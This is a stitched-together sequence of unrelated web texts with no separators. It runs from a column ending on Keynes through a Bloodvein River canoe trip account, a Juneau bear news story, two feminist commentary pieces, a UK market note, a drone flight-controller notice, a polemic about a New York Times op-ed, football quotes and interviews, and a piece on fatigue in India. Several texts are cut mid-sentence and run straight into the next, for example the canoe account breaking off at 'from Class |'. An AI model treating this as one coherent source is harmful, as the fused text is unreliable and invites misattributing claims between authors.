I used to have opinions on macroeconomic theories, but I found I didn't have anything useful to contribute, so I've stopped. But I will venture that, whatever else you can say about Keynes' The General Theory—published in 1936, a decade after his marriage—it’s formidable piece of work.
The next year, Keynes suffered his first heart attack. His wife, who had been a dance partner of Nijinsky, a model of Picasso, and a mistress of Stravinsky, retired from the glamor of public life to nurse him. Eventually, Forster had to admit, “How we all used to underestimate her."
Nevertheless, Keynes took an active role in wartime economic policy from 1939 onward, increasingly in setting up the postwar institutions such as the IMF and the World Bank. The American Treasury official Harry Dexter White (who was a Soviet agent) had the greater say in the negotiations, but Keynes kept Britain from being steamrollered.
Worn out, Keynes died in 1946 at age 62, but with the basic Bretton Woods template in place that would serve adequately through the 1960s. Most everybody else in Keynes' carefully crafted genetic line lived into their 90s, so the speculation down through the years on whether a nonagenarian Keynes would have stuck with dogmatic Keynesianism after, say, the disasters of 1973 are not wholly absurd.
More reasonably, though, it’s enough to say that the postwar dispensation that Keynes had a hand in designing in the mid-1940s proved more economically successful than the interwar one, serving reasonably well for a quarter of a century.
So Niall Ferguson’s point about Keynes is really interesting—even more interesting topic than he may have realized. Unfortunately, in today’s Politically Correct Reign of Terror, that could mean even more trouble for him.
Steve Sailer (email him) is movie critic for The American Conservative and writes regularly for Takimag. His websitewww.iSteve.blogspot.com features his daily blog. His book,AMERICA’S HALF-BLOOD PRINCE: BARACK OBAMA’S "STORY OF RACE AND INHERITANCE", is available here and here (Kindle)Rory, our pilot – about one third the age of the de Havilland DHC-2 Beaver he was flying – took the plane into a banked turn as we descended towards Artery Lake.
About 31 minutes earlier we had taken off from Red Lake. Malcolm was the other passenger. Just behind him, to the rear of the small fuselage, was our personal kit, a barrel of food and some canoe paddles. Outside, strapped to the port float struts was a 16ft canoe.
Flying at a maximum speed of just under 100 knots, the journey would take us around 90km away from the road we left behind at the float plane dock. Throughout the flight, even from an altitude of 2,000-3,000 feet, all we could see underneath us and stretching continuously to the furthest horizon in every direction was northern coniferous forest.
Our touchdown on the water was remarkably light, after which we rapidly slowed to taxiing speed. Rory took the plane round a low rocky headland towards a small sandy beach. A short distance out from land, he cut the engine. As the shallow gradient of the sand came up to meet the floats, we glided silently to a stop.
We began to unload our kit, placing it carefully ashore. By the time our boat was being untied, only a few minutes later, we heard the second plane coming in to land.
Malcolm and I were part of a six-man team undertaking the trip – consisting of Ray Goodwin, myself and four guys for whom we had arranged the trip. Ray and I work together to provide wilderness canoe trips such as this as well as trips and training courses in the UK.
We would be paddling tandem in three boats. The small load capacity of the Beaver float planes meant we needed three flights to get along with all of our food and equipment to the starting point of the trip.
As quickly as we had landed and unloaded, the planes were being pushed back and turned around. Engines sputtered back into life then each plane took its turn to accelerate away, up and off into the distance.
As the drone of the engines subsided, we were left in the quiet of nature.
In the distance a Loon (a.k.a Great Northern Diver) called.
We had flown into the heart of a true wilderness. No roads. No railways. No trails. Only woods and water.
Our intention was to travel by canoe westwards through this great wilderness, following the flow of the Bloodvein River to Lake Winnipeg.
The Bloodvein River
The Bloodvein’s headwaters are actually not far from Red Lake, where our float plane flight started. It is possible to paddle from the western end of Red Lake to Artery Lake but this is largely flat water paddling on lakes, some narrow interconnecting channels as well as plenty of portaging. This option adds around a week to the total journey time. The flow starts in a more determined fashion, however, after Artery Lake, where the Bloodvein becomes a river proper. This is where our 13-day, 225km journey would begin.
The Ontario-Manitoba border cuts through Artery Lake so we would not remain in Ontario for long, with most of the journey taking place through the Manitoban section of the Bloodvein.
The river is part of the drainage which eventually flows into Hudson’s Bay by a series of waterways that take the flow first west into Lake Winnipeg, Manitoba, then north-eastwards via the Nelson river.
The natural history and human history of this area and the river in particular are highly significant. The whole Bloodvein has been afforded Canadian Heritage River status, with the Manitoba and Ontario sections being nominated in 1984 and 1986 respectively. This means the governments of both provinces work together to protect the entire length of the Bloodvein river corridor’s heritage.
There are, at the time of writing, 42 rivers in the Canadian Heritage Rivers System (CHRS), which has the mandate to “conserve rivers with outstanding natural, cultural and recreational heritage, to give them national recognition, and to encourage the public to enjoy and appreciate them.”
Moreover, the river links two sizeable and important Provincial Parks – The Woodland Caribou Provincial Park (4,500 km2) in Ontario and the Atikaki Provincial Park (3,981 km2), Manitoba’s first wilderness park.
Coinciding with the unveiling of a plaque at the Red Lake Regional Heritage Centre in 2010 to commemorate the national significance of the Bloodvein River, a Parks Canada press release highlighted the following:
“The Bloodvein River provides habitat for one hundred bird species and a wide variety of plant, animals and fish, including threatened and endangered species such as wolverines, woodland caribou and spike moss. The area’s natural features include outstanding representations of the Canadian Shield and the Central Boreal Upland Forest and exceptional cultural features such as undisturbed archaeological sites that provide evidence of hunter-gatherer peoples dating from 6,000 years ago, pictographs dating from between 900 and 1200 AD, and a rich history as an aboriginal and fur trade route. The river remains important to the Lac Seul and Pikangikum First Nations to this day.”
Considered as a whole, the land through which the Bloodvein river flows is a region of boreal forest covering 43,000 km2 (17,000 sq mi) – over twice the area of Wales. The provincial governments of Manitoba and Ontario working in conjunction with five First Nations are proposing it be made a UNESCO world heritage site. The First Nations call this land Pimachiowin Aki (pronounced Pim–MATCH–cho–win Ahh–KEY), meaning land that gives life in Ojibwe.
Bloodvein River Environment
The Bloodvein river flows through an area of northern coniferous forest, also known as boreal forest or taiga.
The province of Manitoba has an area of 649,947 km2. Around one third of this area, 164,000 km2, is covered by northern coniferous forest. For comparison, this area of forest is greater than the area of England (130,395 km2) or just over twice the size of Scotland (78,387 km2).
The amount of water in lakes, rivers, bogs and marshes is very high, with up to 50% of the land surface covered in parts of northern Manitoba. Poor drainage and low evaporation contribute to this.
For travelling in this northern coniferous wilderness of trees and water, canoeing and bush skills go hand-in-hand.
The Canadian Shield
Underlying the landscape of the whole region is pre-cambrian rock – granite and gneiss – commonly known as the Canadian Shield. This exposed rock is all that remains of ancient mountains, shaped and scoured by glaciers.
The last ice sheets retreated from this area only seven to eleven thousand years ago. Bare rock and sediments were left behind, with thousands of lakes, rivers and streams forming in the low points.
Top soil, where it does exist, is even now only very thin, with little having built up since the last glaciation. This, combined with poor drainage and extreme winter weather means only a few, well-adapted species of trees and plants can survive here.
Hence, only relatively few species of animals are supported.
Flora and Fauna
Until recently, humans also lived entirely from the land in this area. They were primarily hunters, subsisting on moose, woodland caribou, elk, bison, bear and smaller mammals. Fish, birds, and plant resources such as maple sap, berries and wild rice were also dietary staples.
At the top of the food chain, along with man, species present are red fox, wolf, black bear, lynx, river otters, owls, hawks and bald eagles.
Here there are also many biting insects (mosquitoes, blackfly, horse flies and deer flies), insect-eating birds, bats, small mammals, waterfowl and amphibians. Herbivores include moose, woodland caribou, rodents (such as beaver) and seed-eating birds.
Dominant vegetation in the northern forests of Manitoba consist of white spruce, black spruce, jack-pine, tamarack, white birch, alder, trembling aspen, balsam poplar, willows, berry-producing shrubs, mosses and lichens.
Climate
The number of frost-free days ranges from 80 to 110 days. That means for two-thirds of the year, it’s likely to dip below freezing at least overnight.
Fire As Part Of The Natural Cycle
As well as cold being a significant factor in this environment, so is fire. Wildfires are part of the natural cycle here. Dry needles on coniferous trees as well as on the ground, along with resinous wood, make a significant contribution to this. But many trees and plants here are pioneer species and will reclaim areas lost to fire. Indeed, some are specially adapted to this cycle. Both jack-pine and black spruce drop thousands of seeds after their cones are activated by extreme heat.
Paddling The Bloodvein River
The Bloodvein is a river system that takes in small – mainly elongated – lakes, narrow gorges, broad sweeping bends margined by swamps, reed beds and wild rice, punctuated by rock shelves, drops, falls, and large boulders.
Hap Wilson in his book Wilderness Rivers Of Manitoba describes the Bloodvein thus
“a typical pool and riffle type river where most of the current is restricted to the actual outflow of the individual rapid or fall only. This characteristic makes the river appealing for both up and downstream travel, and probably the establishing factor why the corridor was heavily used by native peoples over the last several thousand years.”
That said, there are rapids from Class |
Drunk.”JUNEAU, Alaska — Wildlife officials in Alaska’s capital suspect a black bear might have literally crashed a child’s birthday party before he was shot and killed inside a different home.
The bear had shimmied onto the roof of Alicia Bishop and Glenn Merrill’s home and was walking across a skylight when the bottom fell out Saturday, the Juneau Empire reported.
“I heard this cracking,” said Merrill, who was preparing for his son’s first birthday party. “And the next thing you know, there’s this bear that, I mean, literally, fell right from (the skylight).”
He said he and the bear were about 3 feet apart and just stared at each other in disbelief.
Merrill, 45, had his parents take his son, Jackson, upstairs, and he went into another room and shut the door. Bishop, 33, was standing in the kitchen behind a glass door and watched the bear help itself to some cupcakes intended for the child’s birthday bash.
“The bear walks over and puts its paws up on the table and starts licking his birthday cupcakes, and I’m just like, ‘You’ve got to be kidding me,'” Bishop told the newspaper.
She opened a side door, and the couple were able to shoo the bear outside. He made one more appearance.
“It was up by the window like, ‘I want more cupcakes,'” Bishop said.
The animal retreated to the woods when Merrill used bear spray. He said the bear wasn’t aggressive, and seemed used to being around people.
About 30 minutes later, Juneau police responded to a report of a bear inside a nearby home. Officers arrived and shot it when it appeared in the doorway. The bear ran behind the house, where it was later found dead.
Wildlife officials suspect it’s the same bear, described in both incidents as a young male, weighing about 180 pounds.Fans of the bestselling book The Purity Myth, rejoice. The film version is now available for your viewing pleasure on DVD, and, from the looks of the trailer, its per-minute truth bomb concentration is unprecedented. Finally, a cinematic alternative to the unstoppable, metastasized Fast & Furious franchise.
Jessica Valenti, author and founder of Feministing, penned The Purity Myth in response to cultural pressure women face to remain virgins until a handsome prince deflowers them after an elaborate, expensive ceremony.
The film visits the places the book visited, but since the antics of pro-virginity culture were captured on camera this time around, it's now infinitely more gif-able. From the creepy father-daughter "purity balls" where young women promise their dads that they won't let anyone's penis inside of them until God says it's okay to the fearmongering but charismatic pro-virginity speakers who claim a link between female sexual activity and sterility, parts of the film (like parts of the book) would be hilarious if they weren't so scary.
Of particular interest was the scene where a riled up preacher whips himself into a terrified frenzy by saying,
It is pressed that a man marry a virgin! Young men, if you're dating a woman who boasts of being a feminist, who uses every four-letter word in the Marine Corps manual, who wants no children, who wants to drag you around like a dog on the end of a rope, RUN!
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If you could see my crest right now, you'd see that it has fallen. I do all of these things minus the no children and dog dragging part, even though I didn't know until right this second that there was a Marine Corps manual that contained fancy government tested swearing techniques. I'm going to be a terrible wife. All the men are going to run away from me.
Valenti explains,
The purity myth is the lie that women's sexuality has some bearing on who we are and how good we are, because really I think we all know that young women are so much more than whether or not they have sex. We really should be teaching our daughters that their ability to be good people should be based on their intelligence, on their compassion, their kindness, not what they do with their bodies.
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The film's available for purchasing, or if you prefer to watch movies in a big group so that you can yell at the screen, the film will be shown in New York and Boston in upcoming months. Stay tuned.
The Purity Myth, The Documentary [Feministing][Content Note: Misogyny; sexual violence; disablist language.]So, last week, during the Philae landing, European Space Agency scientist Dr. Matt Taylor wore a shirt covered in half-naked, provocatively-posed women, seen all over the world during his interview on the live broadcast.This was before I tuned in; by the time I saw him talking about the landing in terms of a date, and saying that Philae was moving in for a kiss, he had already changed into an ESA shirt.There was a lot of criticism of Taylor, made by people who give a fuck that misogynist clothing was donned in a professional environment by someone who has an enormous amount of privilege in a field where there continues to be pervasive discrimination against women.STEM Women has a terrific post, " Astronomical Sexism: Rosetta #ShirtStorm and Everyday Sexism in STEM," which I highly recommend you read as background on the entire thing, and why the criticism of Taylor matters.Naturally, there was an outpouring of hostility toward women (and men) who took issue with Taylor's sartorial choice.Some of it was at least honest enough to just be the usual gross misogynist silencing, shouting at feminists with the brazen venom that proves the point.Others took a more embarrassing tack, trying to approximate some sort of principled defense of Taylor. London Mayor Boris Johnson, for example, accused Taylor's critics of being "abusive" and "humiliating" him "at the moment of his supreme professional triumph." Taylor, naturally, bears no accountability for humiliating himself by being a rank sexist on an international broadcast.And then, of course, there were the feminist concern trolls, who came out in droves in order to declare feminism irrelevant or dead, because to criticize a sexist shirt is proof of our small-minded prudish pettiness.Naturally, King of the Feminist Concern Trolls, Richard Dawkins, who loves nothing more than to pretend he gives a fuck about feminist issues in order to shit all over feminists, weighed in thus:"True feminism." Of course. As defined by men who believe women should let men get away with wearing misogynist clothes in a professional environment, because there are "bigger things" about which we should be worrying.Thingsare doing. Somewhere else.Always, that should be the focus of "true feminism." To focus exclusively on other men who are doing worse things.Which is not only a neat little deflection of personal accountability, and preemptive shaming for any woman who considers scrutinizing them, but is also advice fundamentally incompatible with the basic work of feminist activism, because it is the pervasive, ubiquitous, inescapable little things that create the foundation of a sexist culture on which the big stuff is dependent for its survival. It's the little things, the constant drumbeat of inequality and objectification, that inure us to increasingly horrible acts and attitudes toward women.Feminists who focus on the "little stuff" do it because that'sthe stuff,the fertile soil in which everything else takes root and from whence everything else springs,the way that the fundamental idea that women are not equal to men is conveyed over and over and over again.When feminist concern trolls like Dawkins whine about the misuse of feminism, talking about feminism like it's meant to be kept under glass, broken only in case of a "real" and "serious" emergency, they're deliberately ignoringThe "little things" don't happen in a vacuum, but are part of a spectrum of expressed misogyny that forms a systemic oppression of women.The "little things" and the "big things" are interwoven strands of the same rope, which Dawkins et. al. constantly want to unravel, in order to claim that only some of the strands (the ones belonging to other sorts of men, in other sorts of places) are really deserving of feminists' attentions.They want to play a feminist ranking game, in which there is a hierarchy of concerns with which "true feminists" will busy themselves. But as soon as one begins to judge the worthiness of feminists' attention on a sliding scale, even generally-regarded "big things" like equal pay are dwarfed by global concerns like government-sanctioned use of rape as a weapon of war. And, for women in those war zones, on any given day clean water may be the even more pressing need. The fact is, it doesn't have to be one or the other—feminists can multi-task.Because feminism by design functions to address all manner of issues, big and small. That women can (and do) utilize the tenets of feminism in every aspect of their lives does not undermine the history of the feminist movement, but instead does it a great honor. Feminism was never meant to be restricted to suffrage and genital cutting, held in reserve like a finite quantity in danger of depletion if it's used for "the little things." Feminism is a renewable resource.All of which is to say nothing of the fact that it's notsuch a "little thing," that shirt. A shirt that sexually objectifies women, worn in a professional space, for an international broadcast, by one of the most privileged members of a profession in which many women struggle to achieve the same levels of opportunity and recognition. A shirt that clearly none of the other men around Dr. Taylor suggested would be inappropriate.It's not just the shirt. It's what the shirt communicates to women, not just about one man, but about his field, and women's place in it.That's not a little thing. But maybe it takes a "true feminist" to understand that.Good morning.
Fears for UK property prices rise as more funds shut their doors to payouts
Henderson Global’s £3.9 billion UK property fund yesterday became the latest in a line of funds to gate their payouts to investors to stem outflows and give the funds time to liquidate assets and raise cash. Should this trend persist in the coming weeks, it certainly doesn’t bode well for UK property – particularly in the commercial sector, which is traditionally backed by business investment and institutional financing as opposed to the private sector’s support via personal mortgages.
Many have already begun to note downturns in property prices in London following June’s referendum and today’s Halifax house price index release will be pored over for evidence that the rot is spreading.
GBP sees modest support – but longer term outlook is still very negative
After briefly falling below 1.28 against the US dollar yesterday and striking fresh 31 year lows, sterling has found some minor support today. The pound’s strength (or lack thereof) still relies heavily on investor sentiment, and further bad news from the property sector will do little to reassure markets that we’re not at the beginning of a major rout for UK assets. Today’s manufacturing and industrial production figures for the month of May are expected to come in relatively mixed but generally lower – pointing to hesitation and reluctance to increase output ahead of the referendum itself. It’s hard to believe that firms would have put the burners on after the vote itself, but we’ll have to wait a few months to glean this information as new data rolls in.
Nonfarm payrolls tomorrow could send GBPUSD even lower
After a dismal 38,000 showing in May’s US nonfarm payrolls release, markets are looking for a rebound to approximately 180,000 tomorrow as some of the temporary factors (a strike at US telecoms giant Verizon subtracted around 35,000 jobs last month) roll off. Due to the significantly lower than expected release last month, revisions to historical data could take higher precedence tomorrow, particularly after yesterday’s Fed minutes release which confirmed the board are to act more cautiously in the coming months on rates as it’s still too soon to tell what the fallout from the Brexit vote could be on the US economy.
Have a great day.BetaflightF4 Flight Controller is available
Few weeks ago FPVmodel.com opened the pre-order for the new Betaflight F4 flight controller. It is the next generation of an F405 MCU based AIO flight controller and is finally in stock right now.
The “processor” / MCU of the flight controller was upgraded to the STM32 F4, which runs at 168MHz compared to the 72Mhz of the F3. Additionally, the new flight controller has integrated telemetry pads, so you can connect new BLHeli32 ESCs to it.
Features:
STM32 F405 MCU
MPU6000 Gyroscope/Accelerometer
5V BEC – 1.5A
Build-in OSD
Current sensor
Integrated power distribution board (PDB)
We should receive the new Betaflight F4 soon and test it straight away. We are going to make a review and compare it with other exciting F4 flight controllers. Stay tuned for our reviews and follow us on Facebook.
RelatedMark Thompson, chief executive of the New York Times, has written a highly padded opinion piece that boils down to one important thing he wants to get across to you rubes: Trump = Hitler. Oh yeah, he includes one very slight caveat so you don't think of him as your usual leftwing loon. The rest of his piece is mostly yawn inducing padding which serves as filler for his basic premise.
So let us get to Thompson's unintentional humor as he stresses that Trump is like Hitler because, get this, they both spoke off the cuff. I kid you not.
“Once you heard the voice of a man, and that voice knocked at your hearts, it wakened you, and you followed that voice.” That was Adolf Hitler, the man whom Heidegger would praise for helping the German people rediscover their authentic essence, addressing government and Nazi party leaders in September 1936. According to Hitler, the miraculous appearance of the “voice” — by which he meant the profound bond between himself and his audience that let him express their deepest feelings — allowed ordinary men and women, who were “wavering, discouraged, fearful,” to unite as a Volk, or national community. It was at once a political and a personal “voice” that, thanks to the invention of radio, could reach out not just to audiences at political rallies, but into any living room. Authenticism was banished to the fringes of politics after World War II and the defeat of European fascism. Technocratic policy-making delivered relative prosperity and security for the majority, and many voters found the rationalist rhetoric of mainstream politicians credible. Authenticism does not even rate a mention in George Orwell’s landmark 1946 essay “Politics and the English Language.” But the uncertainty and division that have followed the global crash, mass migration and the West’s unhappy wars in the Middle East have given it a new opportunity. Today’s authenticists come in many different guises, from pure anti-politicians like Mr. Trump and Italy’s Beppe Grillo to mainstream mavericks as diverse as Britain’s Boris Johnson and Ted Cruz. None of them are Hitlerian in intent, but nationalism typically looms large (“Make America Great Again!”), as does the explicit or implicit contrast between the chosen community and a dangerous or unacceptable “other,” which in 2016 almost always means elites and foreign immigrants.
Wow! What original thinking there, Mark! Trump and Hitler were both "authenticists" (fancy way of saying "speaking off the cuff") so that makes him like Hitler even though you are careful to ameliorate it by saying Trump didn't intend to sound Hitlerian. Gosh! That's big of you.
The rest of Thompson's piece can best be classified as filler bloat surrounding his Trump/Hitler premise:
It may feel like a new phenomenon in contemporary American politics, but the “I just want to tell it like it is” maneuver is a familiar one in the annals of rhetoric. It’s what Mark Antony is up to when he says to the Roman crowd in “Julius Caesar,” “I am no orator, as Brutus is; / But, as you know me all, a plain, blunt man,” in the midst of his “Friends, Romans and countrymen” speech, one of the most cunning displays of technical rhetoric, not only in Shakespeare, but in the English language. Rhetoric is the language Rome’s elite used to debate; by denying that he knows the first thing about it, Mark Antony is in effect tearing up his gold membership card and reassuring his plebeian audience that, though he may look rich and powerful, he is really one of them. Nearly four centuries after Shakespeare wrote those words, Silvio Berlusconi successfully struck the same pose in modern Italy. “If there’s one thing I can’t abide it’s rhetoric,” he told the Italian public. “All I’m interested in is what needs to get done.”
Um, didn't Shakespeare also write that "brevity is the soul of wit?" Okay, Thompson has found a fun big word, besides "authenticism," to play with and he just won't let go:
But for all its protests, anti-rhetoric is just another form of rhetoric and, whether Mr. Trump is conscious of it or not, it has its own rhetorical markers. Short sentences (“We have to build a wall, folks!”) that pummel the listener in a series of sharp jabs. This is the traditional style of the general (“I came, I saw, I conquered”) or the chief executive, a million miles from the complex and conditional — and thus intrinsically suspect — talk of the lawyer/politician. Students of rhetoric call it parataxis and it’s perfect, not just for the sound bite and the headline, but for the micro-oratorical world of Twitter. Anti-rhetoric also uses “I” and “you” constantly, because its central goal is not to lay out an argument but to assert a relationship, and a story about “us” and our struggle against “them.” It says the things society has deemed unsayable, at least in part to demonstrate contempt for the rhetorical conventions imposed by the elite — and if that elite then cries out in horror, so much the better. The quality to which every anti-rhetorician aspires is authenticity. But there is a big difference between proclaiming your authenticity and actually being true to yourself and the facts. So let me use a different term: authenticism, for the philosophical and rhetorical strategy of emphasizing the “authentic” above all.
Finally, Thompson displays his complete lack of reality awareness when he mocks the yahoos for not listening to the "experts."
They also like to contrast their own down-to-earth way of speaking with the complex and, to many ordinary voters, bewildering language of technocracy. As Michael Gove, one of the leading campaigners for Brexit in the recent British referendum, succinctly put it: “People in this country have had enough of experts.” A majority of British voters did indeed ignore the advice of those “experts” and their dire warnings of what would happen if the country voted to leave. It remains to be seen how many millions of American voters will reach the same verdict on the rhetoric of that technocrat’s technocrat, Hillary Clinton.
Why oh why can't the great unwashed listen to the experts? Well, it could be because their track record, such as on Brexit which Thompson cites, has yet to come true, as revealed in yesterday's Wall Street Journal report:
It’s early, but data so far suggest the British decision to leave the European Union could be another example of a recurring phenomenon: expert predictions of dire consequences to political decisions that end up proving overheated....It’s worth revisiting the level of concern prior to the vote. George Osborne, the Chancellor of the Exchequer, said a vote for Brexit would cause a “DIY recession.” In the immediate aftermath of the vote, many market economists forecast recession would begin almost immediately. In the days after the vote, global stock markets indeed fell sharply. Perhaps if it had been just a little bit worse, a broader panic would have sent things into a spiral. Instead, markets have rebounded. The FTSE 100 climbed to near-record levels by the middle of August. Nor has the wider economy shown many signs of a coming downturn.
Oops! So the experts were wrong with their dire predictions about a Brexit collapse. Could someone please send the news to Mark Thompson? And while sending him this news perhaps you could also send him a link to an online course on writing to teach him to avoid such basic errors as padding his stories with annoyingly repetitive words as well as citing hilariously untrue "facts."
p.s. Trump and Hitler also both teetotalers. Hmmm...QPR captain Joey Barton insists the R’s players have to ‘take the blame’ for Saturday’s 2-1 defeat to Burnley at Turf Moor.
In a key clash between two sides embroiled in the scrap for survival at the foot of the table, Rangers were undone by two soft goals, as Sean Dyche’s men triumphed in front of their own supporters in Lancashire.
The result saw Rangers drop back into the bottom three in the Barclays Premier League.
Speaking to www.qpr.co.uk, Barton lamented the R’s showing, commenting: "There's no getting away from it – if you defend as shockingly as we did, you're going to get punished at this level.
"Fair play to Burnley, they took their chances.
"We knew exactly what they were going to do – they play very direct, the front-two are a handful and the midfield four squeeze in – but we didn't defend properly.
"We were on top at 1-1, they went quite nervy for a few minutes, but then we gifted them another goal.
"The festive season's over - but not with the way we're defending at the moment.”
He added: "You can't give teams helping hands like we did with their two goals.
"The manager is as frustrated as anyone.
"It's the players that have to take the blame - that's the reality of being a professional footballer.
"There were a few fans voicing their frustrations at the end, which doesn't help anyone, but it's understood.
"It's a testing time for us. There's no hiding place. We've got to pick ourselves up from this.”
Manchester United are next up for Harry Redknapp’s side at Loftus Road next weekend and Barton added: "There's no easy way out - we've just got to get our heads down and graft.
"I've never been in a side that's so good at home and yet so poor away.
"Psychology must have something to do with it, but I don't really feel that.
"We're trying our best, but at the moment it's not good enough.
"We've got to improve against United, that's for sure, and then focus on the next away game.”In a country where the incidence of heart disease and diabetes is on the rise, and deadly pollution levels endanger the lives of millions, there’s one quiet health concern that doesn’t get much public attention: fatigue.
But over one in five Indians aged between 18 and 64 (22%) are concerned about being tired more than anything else, including blood pressure and diabetes, according to recently released research report by Mintel. And this figure increases among women: 25% of Indian women interviewed by the market intelligence company said tiredness was their top health concern. Mintel surveyed 3,029 Indians last June.
Data: Mintel (Respondents selected multiple options)
Given the nature of India’s work culture, these numbers are not surprising. If there’s one country that disproves John Maynard Keynes’ prediction that the future would bring with it plentiful leisure time, it’s India.
Work-life balance is a bit of a national joke, with employees working around 2,195 hours on average every year, far more than those in most other countries. Indian millennials reportedly spend a whopping 52 hours a week at work, outpacing their counterparts in the US, UK, and even China by quite a big margin. And last year, India was the world’s fourth-most vacation-deprived nation.
But long-term fatigue is a public health problem, posing a risk to immunity. It can also be an indication of other, more serious conditions, including anemia, depression, and even diabetes, meaning it’s one health concern that everyone must definitely take more seriously.
Try telling that to the Indians on nights shifts and long-duty hours.
This article first appeared on Quartz.Three time European Cup winner Jimmy Case did not have a conventional introduction to professional football. Rejected by Liverpool scout Tom Saunders at the age of 14, he dropped into non-league football, only to be scouted again by Saunders and signed at the age of 17. Unwilling to turn his back on a burgeoning trade as an electrician, he insisted on signing semi-professional forms, just in case it didn’t work out. You can find out how well it worked it out by reading his autobiography, “Hard Case.”
Jimmy, what changed between your rejection at 14 and your recruitment at 17?
I was only a small guy at the age of 14, but I went away and worked on myself, I did bodybuilding. I just had to grow a bit. When I was 17, my stature was better. You see, in the schoolboys, they only took the big, rough and ready lads. I was bitterly disappointed, but when I started playing in the local leagues, when I went to play for South Liverpool, I was playing in the physical presence of men. And that’s the difference, you don’t know how you’re going to fare until you do that.
It was like Raheem Sterling when he first started. He was getting knocked about here, there and everywhere. Now, he leans in. You learn your trade. You see the same thing with Jordan Ibe now, he’s gone out and got that experience. The further you go down, the rougher it gets. The referees are a bit more lenient to a challenge. Ibe obviously flourished at Derby. Like me, he’s quickly learned how to look after himself.
Throughout your book, you repeatedly refer to Bill Shankly as ‘Mr Shankly’. Was he an intimidating figure?
Even now, I remember the first meeting with him. Just visiting the club before I started my trial…I wasn’t in awe of the players, but I was in awe of him. He was on another level. When he walked into a room…if he just said something to you, it penetrated you. He had that thing about him.
With me being a semi-professional, I used to get picked onto the staff team to play against the youngsters. So we had Bob Paisley in goal, Shanks playing out, Joe Fagan, Ronnie Moran, Roy Evans, Tom Saunders, John Bennison, and then me playing amongst them. We’d have Ray Clemence up front. He used to love playing up front and scoring goals. He had a great touch too. But when you played with Shanks, when you played on his team and he turned around and said, “Well done son!” you felt ten foot tall. It was unfortunate that I didn’t play for the first team under him, I would have loved to.
What was he like on a day to day basis?
I didn’t seem ever day. With my electricians training, I was in two mornings a week, two nights a week, and I’d work all day, every day during the week. But he would come to reserve games, he’d pop in and he’d give you loads of encouragement. Footballers are like anyone else. Some of them need a bollocking and some need a cuddle. We had good cops and bad cops. Ronnie Moran was the bad cop, Joe Fagan was the one to put his arm round you and say, what’s the problem, and talk you through the situation. Shanks though, he’d be a bit of both.
Was that one of Liverpool’s strengths? The coaching team?
I think it’s that old thing; the Liverpool way. There’s no getting carried away there. Everything was done for the supporters. But Shanks was incredible. His enthusiasm. He could talk anyone into doing anything. Paisley knew players. He’d be the one saying, “We ought to get him in.” And it all came together in the boot room.
Were you shocked when Shankly resigned?
Big time. When he left, we all said, “What’s going to happen now?” With me, I was looking to sign a full time contract. If someone else had come in from outside, it might not have happened. You put in all that work for two years in the reserves, you build your reputation to the coaches, trying to pull on that red shirt…and if somebody else had have come inm if Bob had left, it could have gone all wrong.
Bob didn’t even want the job, he said it himself. And then he won all those trophies. But it was a bombshell, an absolute bombshell, when Shanks left. It was like when Kevin said he was going, that was a bombshell too. Why would you ever want to leave Liverpool Football Club? It was beyond me.
Was there a strange atmosphere afterwards? Did anyone try and test Paisley?
No. Bob had always been there and there was the utmost respect for him. No-one tested him, everything was done the same. If you started playing up, you’d soon be shot down in flames. There’s so many things they had up their sleeves, those coaches. They knew everything that was going on. Anything that was creeping in, they were on it. But we didn’t have players who would unsettle things.The competition was rife between players for places and things like that, but everyone knew that they had to keep the team where it was and where it should be.
Did anything change at all?
Nothing. They did everything the same. We didn’t really train that much to be honest. We just kept ticking over and we played five-a-side. And a lot of the tactical stuff was left to the players. Not that we were sent out there without any particular way of playing, but they’d leave you to your own devices. What are you good at? And they’d tell you if you stopped doing it.
I remember Bob Paisley coming up to me once and saying, “Why have you stopped going at them?” I used to be direct, I used to have a sight on the near post and I’d head towards that. That’s what they put me in the first team to do. That question was a warning.
Once he came over and he said, “When’s the last time you drifted-a-one?” That’s how he spoke. He just walked over said, “When’s the time you drifted-a-one?” And then he walked away. He wanted me to shoot a bit more. Don’t shirk the responsibility, take the opportunity and shoot. That’s what you’re there for. That’s what he was saying.
When you’re in there, in that team…if you don’t listen and you don’t take on board what the coaches say, you won’t get anywhere. Especially at that club, at that time. Bob was just putting me back on the straight and narrow. They were there to help you. Ronnie would give you a right bollocking, Joe would put an arm around you. Bob was a man of few words. But they looked after you. It was like a family.
The Leeds United players used to say the same about Don Revie with his dossiers and his organised carpet bowls nights
We didn’t have anything like that at all. Some of the lads used to read. We played cards. Snooker. Our wasn’t so much a drinking culture, but we’d go out together, we’d socialise together. But there were never any excursions or anything like that. We’d have a team building trip, so to speak, we might get taken away somewhere nice as a team, we were allowed to order an al a carte meal. We were allowed whatever we wanted to drink, things like that. whatever you want to drink, things like that. Without getting smashed, like.
But we never really thought about dossiers or things like that. Don Revie used to play bingo and things like that.
Is it fair to say that Liverpool treated you like men and Leeds treated their players like schoolboys?
That’s fair to say, yeah. We had our own amusements, but none of your bingo stuff, we though that was a little bit, like you say., schoolboy-ish. I couldn’t imagine Tommy Smith shouting house, put it that way.
What was about this simplistic coaching that worked so well?
The FA had this coaching seminar down at Lilleshall one year. All the managers got asked to go, and Liverpool sent a delegation, Bob Paisley and Roy Evans and that. It was all based on an England team coaching scenario. I think Bob and the coaches only lasted one night. They came away saying, “It’s not for us, that.” The way they were thinking about the game, it wasn’t the same.
People used to say, what’s the secret and it’s just doing the basics well. There’s no big deal about it. Everybody complicates the game nowadays. You see players coming onto the pitch now and you see the coaches going at them, you do this, you do that, you pick him up. You can be over coached, your mind can be addled with all kinds of stuff.
When we were 2-0 down in the UEFA Cup against Bruges, I was substitute and they sent me on at half-time. I thought they were going to hit me with all these tactics, not with a dossier or anything, but just tell me what was going on and what I had to do. And the coach came over and he said, “What we want you to do, Jimmy, is to cause fucking havoc.”
I understood that to mean: I’ve got to close them down, get tackles in and upset their rhythm a bit, get the ball, win it off them and give it to our gifted players like Kevin Keegan. Which we did. And that’s how we got back in the game. That’s how we won. You can be over-coached.
Do you think Brendan Rodgers is adhering to that philosophy now?
Brendan likes to play football. We were the same. We didn’t generally play long ball. Ray Clemence tended to roll it out rather than kick it miles. The further the ball goes, the more chance there is of losing possession. That’s why we used to close the opposition down so much, in a pack, so mugh that we’d make them kick a long ball and then we’d win it back again. I think Brendan’s got that type of thing right.
But it’s more than that. It’s all about controlling the ball. ou’ve got to be able to kill it dead and not have it coming off you five or six yards. Sometimes the present day footballers, you look around the country, and they can’t control the ball. It comes to them at speed and it’s gone.
